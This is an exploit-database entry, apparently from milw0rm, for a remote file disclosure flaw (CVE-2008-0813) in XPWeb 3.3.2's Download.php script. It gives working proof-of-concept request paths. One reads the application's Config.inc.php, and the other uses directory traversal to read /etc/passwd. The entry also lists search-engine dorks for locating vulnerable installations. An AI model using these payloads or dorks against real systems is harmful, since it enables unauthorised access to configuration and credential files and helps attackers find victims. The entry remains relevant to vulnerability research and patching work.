XPWeb 3.3.2 - 'url' Remote File Disclosure
| EKU-ID: 13084 | CVE: OSVDB-41760;CVE-2008-0813 | OSVDB-ID: |
| Author: GoLd_M | Published: 2008-02-17 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 13084 | CVE: OSVDB-41760;CVE-2008-0813 | OSVDB-ID: |
| Author: GoLd_M | Published: 2008-02-17 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
### XPWeb 3.3.2 (Download.php url) Remote File Disclosure Vulnerability ### http://puzzle.dl.sourceforge.net/sourceforge/xpweb/XPWeb_v3.3.2.tgz ### POC : ### /XPWeb_v3.3.2/Download.php?url=Config.inc.php ### /XPWeb_v3.3.2/Download.php?url=../../../../../../../etc/passwd ### Dorks : intitle:XPWeb 3.3.2 ### intitle:XPWeb 3.0.1 ### I'm tryagi .. TRYAG.Cc/cc # milw0rm.com [2008-02-17]